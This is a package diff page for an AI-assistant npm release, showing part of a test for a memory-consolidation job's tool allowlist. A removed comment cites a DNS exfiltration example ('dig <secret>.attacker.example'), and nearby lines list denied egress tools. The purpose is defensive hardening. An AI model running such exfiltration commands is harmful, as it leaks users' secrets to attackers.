@vellumai/assistant 0.12.2 → 0.12.3-staging.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.env.example +2 -0
- package/AGENTS.md +1 -1
- package/docs/architecture/integrations.md +7 -0
- package/docs/architecture/memory.md +17 -2
- package/docs/credential-execution-service.md +1 -1
- package/docs/desktop-browser-cli.md +7 -3
- package/node_modules/@vellumai/ces-client/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
- package/node_modules/@vellumai/ces-client/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
- package/node_modules/@vellumai/environments/src/shell.test.ts +21 -0
- package/node_modules/@vellumai/environments/src/shell.ts +24 -0
- package/node_modules/@vellumai/gateway-client/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
- package/node_modules/@vellumai/gateway-client/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
- package/node_modules/@vellumai/gateway-client/src/inbound-contract.ts +8 -2
- package/node_modules/@vellumai/service-contracts/src/__tests__/secret-detection.test.ts +1 -0
- package/node_modules/@vellumai/service-contracts/src/secret-detection.ts +4 -1
- package/openapi.yaml +54 -5
- package/package.json +1 -1
- package/scripts/smoke-desktop-browser-cli.ts +1 -0
- package/scripts/sync-llm-catalog.ts +3 -0
- package/scripts/voice-ttft-spike.ts +2 -2
- package/src/__tests__/agent-loop.test.ts +259 -0
- package/src/__tests__/agent-wake-delegation-prompt.test.ts +64 -2
- package/src/__tests__/anthropic-provider.test.ts +55 -0
- package/src/__tests__/approval-interception-trust-gates.test.ts +40 -0
- package/src/__tests__/attachments-store.test.ts +22 -3
- package/src/__tests__/channel-approval.test.ts +9 -14
- package/src/__tests__/channel-reply-delivery.test.ts +56 -0
- package/src/__tests__/chat-credential-redaction.test.ts +23 -0
- package/src/__tests__/computer-use-screenshot-attachments.test.ts +411 -0
- package/src/__tests__/computer-use-screenshot-selection.test.ts +50 -0
- package/src/__tests__/conversation-agent-loop-inference-profile.test.ts +2 -0
- package/src/__tests__/conversation-agent-loop-overflow.test.ts +2 -0
- package/src/__tests__/conversation-agent-loop.test.ts +257 -6
- package/src/__tests__/conversation-attachments.test.ts +106 -0
- package/src/__tests__/conversation-fork-crud.test.ts +191 -0
- package/src/__tests__/conversation-rendered-delegation-state.test.ts +276 -0
- package/src/__tests__/credential-execution-client.test.ts +70 -53
- package/src/__tests__/db-conversation-tool-surface.test.ts +221 -0
- package/src/__tests__/events-tail-route.test.ts +33 -0
- package/src/__tests__/history-repair.test.ts +53 -0
- package/src/__tests__/inference-profile-session-handler.test.ts +26 -0
- package/src/__tests__/list-messages-tool-merge.test.ts +85 -1
- package/src/__tests__/llm-catalog-parity.test.ts +27 -4
- package/src/__tests__/oauth-apps-routes.test.ts +1 -0
- package/src/__tests__/oauth-commands-routes.test.ts +114 -101
- package/src/__tests__/oauth-connect-orchestrator.test.ts +2 -0
- package/src/__tests__/oauth-provider-serializer.test.ts +1 -0
- package/src/__tests__/oauth-providers-routes.test.ts +2 -0
- package/src/__tests__/persist-media-references.test.ts +50 -0
- package/src/__tests__/plugin-import-boundary-guard.test.ts +0 -1
- package/src/__tests__/run-conversation-turn-persistence.test.ts +138 -1
- package/src/__tests__/schedule-routes.test.ts +20 -0
- package/src/__tests__/scheduler-result-notification.test.ts +23 -4
- package/src/__tests__/script-proxy-certs.test.ts +1 -1
- package/src/__tests__/secret-routes-platform-proxy.test.ts +86 -31
- package/src/__tests__/secret-routes-scrub.test.ts +22 -27
- package/src/__tests__/secret-scanner.test.ts +20 -0
- package/src/__tests__/secure-keys-managed-failover.test.ts +8 -0
- package/src/__tests__/secure-keys.test.ts +7 -3
- package/src/__tests__/server-tool-pairing.test.ts +107 -0
- package/src/__tests__/skills.test.ts +5 -4
- package/src/__tests__/subagent-tool-gate-mode.test.ts +226 -0
- package/src/__tests__/terminal-tools.test.ts +8 -0
- package/src/__tests__/tool-result-follow-up.test.ts +99 -0
- package/src/__tests__/tool-result-metadata-plumbing.test.ts +63 -0
- package/src/__tests__/unicode.test.ts +36 -0
- package/src/agent/loop.ts +37 -12
- package/src/agent/tool-result-follow-up.ts +70 -0
- package/src/api/attachment-provenance.test.ts +68 -0
- package/src/api/computer-use-tool.test.ts +55 -0
- package/src/api/computer-use-tool.ts +27 -0
- package/src/api/events/assistant-outbound-attachment.ts +3 -0
- package/src/api/events/desktop-activity-changed.ts +10 -0
- package/src/api/events/question-request.ts +1 -0
- package/src/api/index.ts +11 -0
- package/src/api/responses/conversation-message.ts +3 -0
- package/src/approvals/approval-primitive.ts +5 -2
- package/src/approvals/scoped-approval-grants.ts +6 -2
- package/src/browser/virtual-desktop-target.ts +1 -2
- package/src/cli/commands/__tests__/cli-test-harness.ts +21 -3
- package/src/cli/commands/__tests__/plugins.test.ts +20 -1
- package/src/cli/commands/__tests__/schedules.test.ts +14 -0
- package/src/cli/commands/bash.help.ts +4 -3
- package/src/cli/commands/browser.help.ts +5 -1
- package/src/cli/commands/credentials.help.ts +3 -3
- package/src/cli/commands/oauth/index.help.ts +10 -0
- package/src/cli/commands/oauth/providers.ts +12 -0
- package/src/cli/commands/oauth/request.test.ts +179 -2
- package/src/cli/commands/oauth/request.ts +41 -10
- package/src/cli/commands/plugins.ts +12 -5
- package/src/cli/commands/schedules.ts +2 -0
- package/src/cli/lib/__tests__/inspect-plugin.test.ts +54 -0
- package/src/cli/lib/__tests__/install-from-github.test.ts +41 -0
- package/src/cli/lib/__tests__/local-plugin-upgrade.test.ts +133 -51
- package/src/cli/lib/__tests__/plugin-catalog-cache.test.ts +8 -2
- package/src/cli/lib/bundled-marketplace.json +855 -0
- package/src/cli/lib/bundled-plugin-packages.json +783 -1
- package/src/cli/lib/inspect-plugin.ts +11 -4
- package/src/cli/lib/upgrade-plugin.ts +19 -11
- package/src/cli/output.ts +18 -4
- package/src/config/__tests__/default-provider.test.ts +4 -0
- package/src/config/bundled-skills/schedule/SKILL.md +6 -6
- package/src/config/loader.ts +9 -17
- package/src/config/platform-identity.ts +8 -8
- package/src/config/profile-text-generation.test.ts +51 -0
- package/src/config/profile-text-generation.ts +51 -0
- package/src/config/schemas/__tests__/memory-v3.test.ts +12 -0
- package/src/config/schemas/llm.ts +7 -2
- package/src/config/schemas/mcp.ts +5 -1
- package/src/config/schemas/memory-v3.ts +12 -0
- package/src/credential-execution/ces-runtime.ts +2 -2
- package/src/credential-execution/executable-discovery.ts +36 -134
- package/src/credential-execution/process-manager.test.ts +20 -24
- package/src/credential-execution/process-manager.ts +24 -19
- package/src/daemon/__tests__/conversation-tool-setup.test.ts +43 -0
- package/src/daemon/__tests__/turn-tail-deleted-conversation.test.ts +36 -0
- package/src/daemon/assistant-attachments.ts +20 -12
- package/src/daemon/chat-credential-redaction.ts +16 -1
- package/src/daemon/conversation-agent-loop-handlers.ts +74 -3
- package/src/daemon/conversation-agent-loop.ts +12 -0
- package/src/daemon/conversation-attachments.ts +93 -12
- package/src/daemon/conversation-tool-setup.ts +71 -3
- package/src/daemon/conversation-turn-finalize.ts +26 -13
- package/src/daemon/conversation.ts +72 -17
- package/src/daemon/daemon-control.ts +3 -7
- package/src/daemon/lifecycle.ts +4 -4
- package/src/daemon/mcp-reload-service.ts +1 -1
- package/src/daemon/message-types/shared.ts +1 -0
- package/src/daemon/orphan-reaper.ts +4 -3
- package/src/daemon/persist-media-references.ts +20 -3
- package/src/daemon/tool-setup-types.ts +6 -0
- package/src/daemon/wake-conversation-ops.ts +50 -15
- package/src/desktop/desktop-automation-lease.test.ts +230 -0
- package/src/desktop/desktop-automation-lease.ts +90 -6
- package/src/desktop/desktop-help.ts +15 -0
- package/src/desktop/desktop-stream-bridge.test.ts +65 -10
- package/src/desktop/desktop-stream-bridge.ts +3 -3
- package/src/desktop/desktop-wallpaper-renderer.ts +132 -0
- package/src/desktop/desktop-wallpaper-worker.ts +17 -0
- package/src/desktop/desktop-wallpaper.test.ts +48 -7
- package/src/desktop/desktop-wallpaper.ts +34 -102
- package/src/desktop/virtual-desktop-feature.ts +1 -1
- package/src/mcp/__tests__/manager-tool-caps.test.ts +111 -0
- package/src/mcp/__tests__/startup.test.ts +30 -7
- package/src/mcp/__tests__/tool-caps.test.ts +107 -0
- package/src/mcp/manager.ts +168 -101
- package/src/mcp/startup.ts +33 -13
- package/src/mcp/tool-caps.ts +176 -0
- package/src/messaging/provider-message-metadata.ts +3 -3
- package/src/notifications/__tests__/copy-composer.test.ts +70 -0
- package/src/notifications/copy-composer.ts +11 -3
- package/src/notifications/schedule-result-producer.ts +4 -6
- package/src/oauth/AGENTS.md +2 -0
- package/src/oauth/__tests__/identity-verifier.test.ts +36 -1
- package/src/oauth/identity-verifier.ts +24 -0
- package/src/oauth/oauth-store.ts +11 -1
- package/src/oauth/provider-serializer.ts +1 -0
- package/src/oauth/seed-providers.ts +12 -0
- package/src/permissions/confirmation-guardian-request.test.ts +16 -0
- package/src/permissions/confirmation-guardian-request.ts +2 -3
- package/src/permissions/question-prompter.test.ts +31 -0
- package/src/permissions/question-prompter.ts +2 -0
- package/src/persistence/attachments-store.ts +84 -44
- package/src/persistence/conversation-crud.ts +111 -20
- package/src/persistence/conversation-plugin-facade.ts +30 -0
- package/src/persistence/conversation-tool-surface.ts +135 -0
- package/src/persistence/conversation-types.test.ts +32 -0
- package/src/persistence/conversation-types.ts +26 -4
- package/src/persistence/migrations/378-create-conversation-tool-surfaces.test.ts +78 -0
- package/src/persistence/migrations/378-create-conversation-tool-surfaces.ts +29 -0
- package/src/persistence/migrations/379-oauth-providers-response-ok-field.test.ts +92 -0
- package/src/persistence/migrations/379-oauth-providers-response-ok-field.ts +32 -0
- package/src/persistence/migrations/380-conversation-tool-surfaces-delegate-independent-tasks.test.ts +90 -0
- package/src/persistence/migrations/380-conversation-tool-surfaces-delegate-independent-tasks.ts +34 -0
- package/src/persistence/schema/conversation-tool-surfaces.ts +32 -0
- package/src/persistence/schema/index.ts +1 -0
- package/src/persistence/schema/oauth.ts +1 -0
- package/src/persistence/steps.ts +24 -3
- package/src/plugin-api/conversation-turn.ts +31 -7
- package/src/plugin-api/index.ts +11 -1
- package/src/plugin-api/plugin-channel-turn-trust.test.ts +133 -0
- package/src/plugin-api/plugin-channel-turn-trust.ts +71 -0
- package/src/plugins/defaults/memory/AGENTS.md +39 -5
- package/src/plugins/defaults/memory/__tests__/buffer-file.test.ts +365 -0
- package/src/plugins/defaults/memory/__tests__/buffer-format.test.ts +43 -0
- package/src/plugins/defaults/memory/__tests__/conversation-memory-purge.test.ts +1 -0
- package/src/plugins/defaults/memory/__tests__/db-memory-attach.test.ts +2 -0
- package/src/plugins/defaults/memory/__tests__/fixtures/buffer-appender.ts +17 -0
- package/src/plugins/defaults/memory/__tests__/memory-retrospective-job.test.ts +74 -0
- package/src/plugins/defaults/memory/__tests__/memory-run-evidence.test.ts +161 -0
- package/src/plugins/defaults/memory/__tests__/relocated-memory-test-rows.ts +10 -0
- package/src/plugins/defaults/memory/buffer-file.ts +354 -0
- package/src/plugins/defaults/memory/buffer-format.ts +40 -0
- package/src/plugins/defaults/memory/context-search/agent-runner.ts +1 -2
- package/src/plugins/defaults/memory/context-search/format.ts +2 -1
- package/src/plugins/defaults/memory/context-search/sources/memory-v2.ts +2 -1
- package/src/plugins/defaults/memory/context-search/sources/workspace.ts +2 -1
- package/src/plugins/defaults/memory/conversation-memory-purge.ts +4 -0
- package/src/plugins/defaults/memory/graph/capability-seed.ts +1 -2
- package/src/plugins/defaults/memory/graph/tool-handlers.ts +1 -42
- package/src/plugins/defaults/memory/host-utils.ts +0 -10
- package/src/plugins/defaults/memory/injectors.ts +4 -3
- package/src/plugins/defaults/memory/memory-retrospective-job.ts +72 -183
- package/src/plugins/defaults/memory/memory-run-evidence.ts +213 -0
- package/src/plugins/defaults/memory/src/memory-item-routes.test.ts +1 -1
- package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts +407 -99
- package/src/plugins/defaults/memory/substrate/__tests__/consolidation-prompt-flag-gating-guard.test.ts +10 -0
- package/src/plugins/defaults/memory/substrate/__tests__/prompts-consolidation.test.ts +107 -7
- package/src/plugins/defaults/memory/substrate/consolidation-job.ts +307 -86
- package/src/plugins/defaults/memory/substrate/consolidation-tool-surface.ts +34 -0
- package/src/plugins/defaults/memory/substrate/page-index.ts +2 -1
- package/src/plugins/defaults/memory/substrate/prompts/consolidation.ts +89 -49
- package/src/plugins/defaults/memory/substrate/sweep-job.ts +1 -1
- package/src/plugins/defaults/memory/tools.ts +1 -1
- package/src/plugins/defaults/memory/v1/graph/consolidation.ts +2 -2
- package/src/plugins/defaults/memory/v1/graph/extraction.ts +2 -1
- package/src/plugins/defaults/memory/v1/graph/retriever.ts +1 -1
- package/src/plugins/defaults/memory/v2/__tests__/migration.test.ts +5 -0
- package/src/plugins/defaults/memory/v2/__tests__/reranker.test.ts +5 -2
- package/src/plugins/defaults/memory/v2/reranker.ts +2 -1
- package/src/plugins/defaults/memory/v3/__tests__/injection.test.ts +81 -1
- package/src/plugins/defaults/memory/v3/__tests__/orchestrate.test.ts +87 -0
- package/src/plugins/defaults/memory/v3/__tests__/plugin-schema.test.ts +12 -0
- package/src/plugins/defaults/memory/v3/__tests__/pool-log-store.test.ts +183 -4
- package/src/plugins/defaults/memory/v3/__tests__/shadow-plugin.test.ts +103 -2
- package/src/plugins/defaults/memory/v3/card.ts +2 -1
- package/src/plugins/defaults/memory/v3/injector.ts +212 -178
- package/src/plugins/defaults/memory/v3/orchestrate.ts +112 -25
- package/src/plugins/defaults/memory/v3/plugin-schema.ts +54 -4
- package/src/plugins/defaults/memory/v3/pool-log-store.ts +253 -1
- package/src/plugins/defaults/memory/v3/pool-select.test.ts +35 -2
- package/src/plugins/defaults/memory/v3/pool-select.ts +31 -19
- package/src/plugins/defaults/memory/v3/sections.ts +2 -1
- package/src/plugins/defaults/memory/v3/shadow-plugin.ts +41 -14
- package/src/plugins/defaults/tool-error/hooks/post-tool-use.ts +4 -1
- package/src/plugins/defaults/tool-result-truncate/terminal.ts +1 -46
- package/src/prompts/__tests__/parallel-tasks-section.test.ts +25 -0
- package/src/prompts/delegation-gate.ts +57 -0
- package/src/prompts/system-prompt.ts +14 -32
- package/src/providers/inference/adapter-factory.ts +6 -0
- package/src/providers/jev/client.test.ts +260 -0
- package/src/providers/jev/client.ts +518 -0
- package/src/providers/model-catalog.ts +58 -3
- package/src/providers/server-tool-pairing.ts +16 -7
- package/src/runtime/AGENTS.md +2 -2
- package/src/runtime/__tests__/agent-wake.test.ts +94 -1
- package/src/runtime/agent-wake.ts +31 -4
- package/src/runtime/guardian-action-service.ts +2 -17
- package/src/runtime/guardian-reply-router.ts +1 -8
- package/src/runtime/http-server.ts +2 -2
- package/src/runtime/migrations/__tests__/vbundle-import-policy.test.ts +89 -0
- package/src/runtime/migrations/vbundle-import-policy.ts +33 -11
- package/src/runtime/routes/__tests__/inference-profiles-routes.test.ts +24 -2
- package/src/runtime/routes/channel-route-shared.ts +1 -9
- package/src/runtime/routes/conversation-routes.ts +29 -4
- package/src/runtime/routes/desktop-setup-routes.test.ts +2 -2
- package/src/runtime/routes/desktop-setup-routes.ts +8 -5
- package/src/runtime/routes/guardian-approval-interception.ts +24 -0
- package/src/runtime/routes/inbound-message-handler.ts +2 -3
- package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +1 -1
- package/src/runtime/routes/inbound-stages/background-dispatch.ts +7 -4
- package/src/runtime/routes/inference-profile-session-handler.ts +11 -1
- package/src/runtime/routes/inference-profiles-routes.ts +9 -0
- package/src/runtime/routes/oauth-commands-routes.ts +57 -54
- package/src/runtime/routes/oauth-providers.ts +4 -0
- package/src/runtime/routes/oauth-request-hints.test.ts +246 -0
- package/src/runtime/routes/oauth-request-hints.ts +149 -0
- package/src/runtime/routes/schedule-routes.ts +2 -0
- package/src/runtime/routes/secret-routes.ts +99 -119
- package/src/schedule/__tests__/worker-mcp-bootstrap.test.ts +107 -0
- package/src/schedule/__tests__/worker-mcp-readiness.test.ts +173 -0
- package/src/schedule/__tests__/worker-mcp-tools.test.ts +13 -47
- package/src/schedule/run-script.ts +2 -2
- package/src/schedule/scheduler.ts +47 -11
- package/src/schedule/tool-surface-readiness.ts +65 -0
- package/src/schedule/worker-mcp.ts +85 -0
- package/src/schedule/worker.ts +9 -31
- package/src/security/secure-keys.ts +60 -48
- package/src/tools/ask-question/ask-question-tool.test.ts +167 -5
- package/src/tools/ask-question/ask-question-tool.ts +119 -23
- package/src/tools/browser/browser-execution.ts +7 -1
- package/src/tools/host-terminal/host-shell.ts +12 -6
- package/src/tools/shared/filesystem/file-ops-service.ts +1 -31
- package/src/tools/shared/shell-output.test.ts +10 -0
- package/src/tools/shared/shell-output.ts +14 -2
- package/src/tools/skills/sandbox-runner.ts +13 -2
- package/src/tools/skills/scaffold-managed.ts +2 -1
- package/src/tools/terminal/__tests__/safe-env.test.ts +33 -4
- package/src/tools/terminal/__tests__/sanitized-bash.test.ts +0 -14
- package/src/tools/terminal/safe-env.ts +35 -24
- package/src/tools/terminal/sanitized-bash.ts +15 -2
- package/src/tools/terminal/shell-launch.test.ts +162 -0
- package/src/tools/terminal/shell.test.ts +29 -0
- package/src/tools/terminal/shell.ts +13 -7
- package/src/util/browser-human-verification.ts +14 -0
- package/src/util/host-process.test.ts +17 -1
- package/src/util/host-process.ts +24 -0
- package/src/util/unicode.ts +29 -0
|
@@ -11,8 +11,12 @@
|
|
|
11
11
|
* - Runner returns ok=false → run_failed surfaced; NO follow-up jobs;
|
|
12
12
|
* `emitNotificationSignal` was NOT called as a result of the failure
|
|
13
13
|
* (suppression is honored end-to-end).
|
|
14
|
-
* -
|
|
15
|
-
*
|
|
14
|
+
* - Runtime-owned consumption: the job hands the run its pass's entries
|
|
15
|
+
* in the prompt and removes exactly those after a run that left a
|
|
16
|
+
* verified page write; entries appended during the run and entries
|
|
17
|
+
* deferred past the cap survive. A run with no verified write returns
|
|
18
|
+
* `invoked` with `noProgress: true`, leaves the buffer intact, and
|
|
19
|
+
* enqueues no follow-ups.
|
|
16
20
|
* - Follow-up coalescing: a pending job of a follow-up type suppresses
|
|
17
21
|
* that enqueue (the pending row already covers it).
|
|
18
22
|
* - Consecutive-failure state: failed runs increment the durable
|
|
@@ -25,9 +29,12 @@
|
|
|
25
29
|
* content uses generic placeholders (Alice).
|
|
26
30
|
*/
|
|
27
31
|
import {
|
|
32
|
+
appendFileSync,
|
|
33
|
+
chmodSync,
|
|
28
34
|
existsSync,
|
|
29
35
|
mkdirSync,
|
|
30
36
|
mkdtempSync,
|
|
37
|
+
readFileSync,
|
|
31
38
|
rmSync,
|
|
32
39
|
writeFileSync,
|
|
33
40
|
} from "node:fs";
|
|
@@ -43,6 +50,8 @@ import {
|
|
|
43
50
|
test,
|
|
44
51
|
} from "bun:test";
|
|
45
52
|
|
|
53
|
+
import { CONSOLIDATION_ALLOWED_TOOLS } from "../consolidation-tool-surface.js";
|
|
54
|
+
|
|
46
55
|
// ── runBackgroundJob mock ───────────────────────────────────────────
|
|
47
56
|
//
|
|
48
57
|
// The consolidation handler delegates the bootstrap + processMessage +
|
|
@@ -52,18 +61,13 @@ import {
|
|
|
52
61
|
// + trustContext + origin match what the consolidation surface expects.
|
|
53
62
|
let runnerCalls = 0;
|
|
54
63
|
let runnerLastArgs: Record<string, unknown> | null = null;
|
|
55
|
-
// Default stub: a successful run
|
|
56
|
-
// handler
|
|
57
|
-
//
|
|
58
|
-
|
|
59
|
-
// buffer as-is (or grows it).
|
|
60
|
-
const runnerTrimsBuffer = async (): Promise<{
|
|
64
|
+
// Default stub: a successful run. The agent never touches buffer.md; the
|
|
65
|
+
// handler consumes the pass's entries itself once the run's messages carry
|
|
66
|
+
// a verified page write (see the plugin-api mock below).
|
|
67
|
+
const runnerSucceeds = async (): Promise<{
|
|
61
68
|
conversationId: string;
|
|
62
69
|
ok: boolean;
|
|
63
|
-
}> => {
|
|
64
|
-
writeFileSync(bufferPath(), "");
|
|
65
|
-
return { conversationId: "conv-1", ok: true };
|
|
66
|
-
};
|
|
70
|
+
}> => ({ conversationId: "conv-1", ok: true });
|
|
67
71
|
let runnerImpl: () => Promise<{
|
|
68
72
|
conversationId: string;
|
|
69
73
|
ok: boolean;
|
|
@@ -71,7 +75,41 @@ let runnerImpl: () => Promise<{
|
|
|
71
75
|
errorKind?: string;
|
|
72
76
|
failureCode?: string;
|
|
73
77
|
skipReason?: string;
|
|
74
|
-
}> =
|
|
78
|
+
}> = runnerSucceeds;
|
|
79
|
+
|
|
80
|
+
// ── plugin-api mock: the run's persisted messages ──────────────────
|
|
81
|
+
//
|
|
82
|
+
// The consume gate reads the run conversation's messages for a page-writing
|
|
83
|
+
// tool call whose result is not an error and for a closing reply as the
|
|
84
|
+
// final row. `runMessages` is what that read returns; the default is one
|
|
85
|
+
// successful `file_write` followed by the pass summary.
|
|
86
|
+
type RunMessage = { role: string; content: unknown[] };
|
|
87
|
+
const FILED_ONE_PAGE: RunMessage[] = [
|
|
88
|
+
{
|
|
89
|
+
role: "assistant",
|
|
90
|
+
content: [
|
|
91
|
+
{ type: "tool_use", id: "t1", name: "file_write", input: { path: "x" } },
|
|
92
|
+
],
|
|
93
|
+
},
|
|
94
|
+
{
|
|
95
|
+
role: "user",
|
|
96
|
+
content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
|
|
97
|
+
},
|
|
98
|
+
{
|
|
99
|
+
role: "assistant",
|
|
100
|
+
content: [{ type: "text", text: "Filed both entries into alice.md." }],
|
|
101
|
+
},
|
|
102
|
+
];
|
|
103
|
+
let runMessages: RunMessage[] = FILED_ONE_PAGE;
|
|
104
|
+
let messagesRequestedFor: string[] = [];
|
|
105
|
+
const realPluginApi = await import("@vellumai/plugin-api");
|
|
106
|
+
mock.module("@vellumai/plugin-api", () => ({
|
|
107
|
+
...realPluginApi,
|
|
108
|
+
getMessages: async (conversationId: string) => {
|
|
109
|
+
messagesRequestedFor.push(conversationId);
|
|
110
|
+
return runMessages;
|
|
111
|
+
},
|
|
112
|
+
}));
|
|
75
113
|
|
|
76
114
|
mock.module("../../../../../runtime/background-job-runner.js", () => ({
|
|
77
115
|
runBackgroundJob: async (opts: Record<string, unknown>) => {
|
|
@@ -197,7 +235,8 @@ const { memoryV2ConsolidateJob, CONSOLIDATION_FAILURE_CHECKPOINT_KEY } =
|
|
|
197
235
|
const { CUTOFF_PLACEHOLDER, CONSOLIDATION_PROMPT } =
|
|
198
236
|
await import("../prompts/consolidation.js");
|
|
199
237
|
const { invalidatePageIndex } = await import("../page-index.js");
|
|
200
|
-
const { formatRememberEntry } =
|
|
238
|
+
const { formatBufferTimestamp, formatRememberEntry } =
|
|
239
|
+
await import("../../buffer-format.js");
|
|
201
240
|
|
|
202
241
|
// The handler only reads `config.memory.enabled`, `config.memory.v2.enabled`,
|
|
203
242
|
// `config.memory.v2.consolidation_prompt_path`, and
|
|
@@ -270,7 +309,9 @@ beforeEach(() => {
|
|
|
270
309
|
|
|
271
310
|
runnerCalls = 0;
|
|
272
311
|
runnerLastArgs = null;
|
|
273
|
-
runnerImpl =
|
|
312
|
+
runnerImpl = runnerSucceeds;
|
|
313
|
+
runMessages = FILED_ONE_PAGE;
|
|
314
|
+
messagesRequestedFor = [];
|
|
274
315
|
emitCalls.length = 0;
|
|
275
316
|
enqueuedJobs.length = 0;
|
|
276
317
|
nextJobIdCounter = 0;
|
|
@@ -309,6 +350,21 @@ describe("memoryV2ConsolidateJob — chunked cutoff (consolidation_max_entries_p
|
|
|
309
350
|
expect(outcome.deferredEntries).toBe(2);
|
|
310
351
|
expect(runnerCalls).toBe(1);
|
|
311
352
|
expect(runnerLastArgs!.prompt as string).toContain("Apr 27, 9:03 AM");
|
|
353
|
+
// The pass is the first three entries, verbatim, and the job removed
|
|
354
|
+
// exactly them; the two deferred entries are still in the buffer.
|
|
355
|
+
const prompt = runnerLastArgs!.prompt as string;
|
|
356
|
+
expect(prompt).toContain(
|
|
357
|
+
"<buffer_entries>\n" +
|
|
358
|
+
"- [Apr 27, 9:00 AM] Alice prefers VS Code.\n" +
|
|
359
|
+
"- [Apr 27, 9:01 AM] Bob takes his coffee black.\n" +
|
|
360
|
+
"- [Apr 27, 9:02 AM] Carol loves jazz.\n" +
|
|
361
|
+
"</buffer_entries>",
|
|
362
|
+
);
|
|
363
|
+
expect(outcome.consumedEntries).toBe(3);
|
|
364
|
+
expect(readFileSync(bufferPath(), "utf-8")).toBe(
|
|
365
|
+
"- [Apr 27, 9:03 AM] Dave runs marathons.\n" +
|
|
366
|
+
"- [Apr 27, 9:04 AM] Erin paints watercolors.\n",
|
|
367
|
+
);
|
|
312
368
|
});
|
|
313
369
|
|
|
314
370
|
test("buffer at or under the cap → full-buffer cutoff, nothing deferred", async () => {
|
|
@@ -594,6 +650,13 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
|
|
|
594
650
|
// Cutoff is a buffer-entry-format timestamp (`Mon D, h:mm AM/PM`) so it
|
|
595
651
|
// compares like-with-like against `buffer.md` lines at minute precision.
|
|
596
652
|
expect(prompt).toMatch(/\b[A-Z][a-z]{2} \d{1,2}, \d{1,2}:\d{2} (AM|PM)\b/);
|
|
653
|
+
// The pass's entries ride in the prompt itself, verbatim.
|
|
654
|
+
expect(prompt).toContain(
|
|
655
|
+
"<buffer_entries>\n" +
|
|
656
|
+
"- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
|
|
657
|
+
"- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
|
|
658
|
+
"</buffer_entries>",
|
|
659
|
+
);
|
|
597
660
|
});
|
|
598
661
|
|
|
599
662
|
test("threads page-index parse failures into the prompt's repair step", async () => {
|
|
@@ -651,57 +714,16 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
|
|
|
651
714
|
expect(runnerLastArgs?.skipPromptIndexing).toBe(true);
|
|
652
715
|
});
|
|
653
716
|
|
|
654
|
-
test("wire-scopes the run to
|
|
655
|
-
//
|
|
656
|
-
//
|
|
657
|
-
//
|
|
658
|
-
//
|
|
659
|
-
//
|
|
660
|
-
// memory over an auto-approved channel. Wire gate mode (the default) means
|
|
661
|
-
// the excluded tools are never even presented to the model.
|
|
717
|
+
test("wire-scopes the run to the consolidation tool surface", async () => {
|
|
718
|
+
// The handler hands the runner the shared allowlist in the default gate
|
|
719
|
+
// mode ("wire"), so excluded tools are filtered off the wire rather than
|
|
720
|
+
// merely rejected at execution time. Which names on that list actually
|
|
721
|
+
// resolve onto the wire is asserted where the wire gate lives:
|
|
722
|
+
// daemon/__tests__/conversation-tool-setup.test.ts.
|
|
662
723
|
await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
663
724
|
|
|
664
725
|
expect(runnerCalls).toBe(1);
|
|
665
|
-
|
|
666
|
-
expect(allowed).toBeDefined();
|
|
667
|
-
const allowedSet = new Set(allowed);
|
|
668
|
-
|
|
669
|
-
// The local file-reorganization surface the pass actually uses. Page
|
|
670
|
-
// removal goes through `delete_memory_page` (slug-scoped, no egress), NOT
|
|
671
|
-
// a general shell.
|
|
672
|
-
for (const tool of [
|
|
673
|
-
"file_read",
|
|
674
|
-
"file_write",
|
|
675
|
-
"file_edit",
|
|
676
|
-
"file_list",
|
|
677
|
-
"code_search",
|
|
678
|
-
"delete_memory_page",
|
|
679
|
-
"recall",
|
|
680
|
-
]) {
|
|
681
|
-
expect(allowedSet.has(tool)).toBe(true);
|
|
682
|
-
}
|
|
683
|
-
|
|
684
|
-
// `bash` must NOT be reachable: a shell reopens the egress channel this
|
|
685
|
-
// allowlist closes (`dig <secret>.attacker.example` classifies Low and
|
|
686
|
-
// auto-approves in this background context). Network egress + host-proxy
|
|
687
|
-
// tools stay out for the same reason.
|
|
688
|
-
for (const tool of [
|
|
689
|
-
"bash",
|
|
690
|
-
"web_fetch",
|
|
691
|
-
"web_search",
|
|
692
|
-
"network_request",
|
|
693
|
-
"host_bash",
|
|
694
|
-
"host_file_read",
|
|
695
|
-
"host_file_write",
|
|
696
|
-
"host_file_edit",
|
|
697
|
-
"host_cu",
|
|
698
|
-
]) {
|
|
699
|
-
expect(allowedSet.has(tool)).toBe(false);
|
|
700
|
-
}
|
|
701
|
-
// Belt-and-suspenders: nothing host-prefixed slipped in.
|
|
702
|
-
expect((allowed ?? []).some((t) => t.startsWith("host_"))).toBe(false);
|
|
703
|
-
// Gate mode is left at the default ("wire") so excluded tools are filtered
|
|
704
|
-
// off the wire, not merely rejected at execution time.
|
|
726
|
+
expect(runnerLastArgs?.allowedTools).toEqual(CONSOLIDATION_ALLOWED_TOOLS);
|
|
705
727
|
expect(runnerLastArgs?.toolGateMode).toBeUndefined();
|
|
706
728
|
});
|
|
707
729
|
|
|
@@ -774,7 +796,7 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
|
|
|
774
796
|
await memoryV2ConsolidateJob(makeJob(), CONFIG);
|
|
775
797
|
expect(runnerLastArgs?.prompt as string).not.toContain("core-pages");
|
|
776
798
|
|
|
777
|
-
// The first run
|
|
799
|
+
// The first run consumed the buffer. Refill it so the second
|
|
778
800
|
// invocation doesn't bail at the empty-buffer gate.
|
|
779
801
|
writeFileSync(bufferPath(), "- [Apr 27, 9:10 AM] Alice refactored.\n");
|
|
780
802
|
v3FlagOn = true;
|
|
@@ -827,16 +849,16 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
|
|
|
827
849
|
});
|
|
828
850
|
});
|
|
829
851
|
|
|
830
|
-
describe("memoryV2ConsolidateJob
|
|
852
|
+
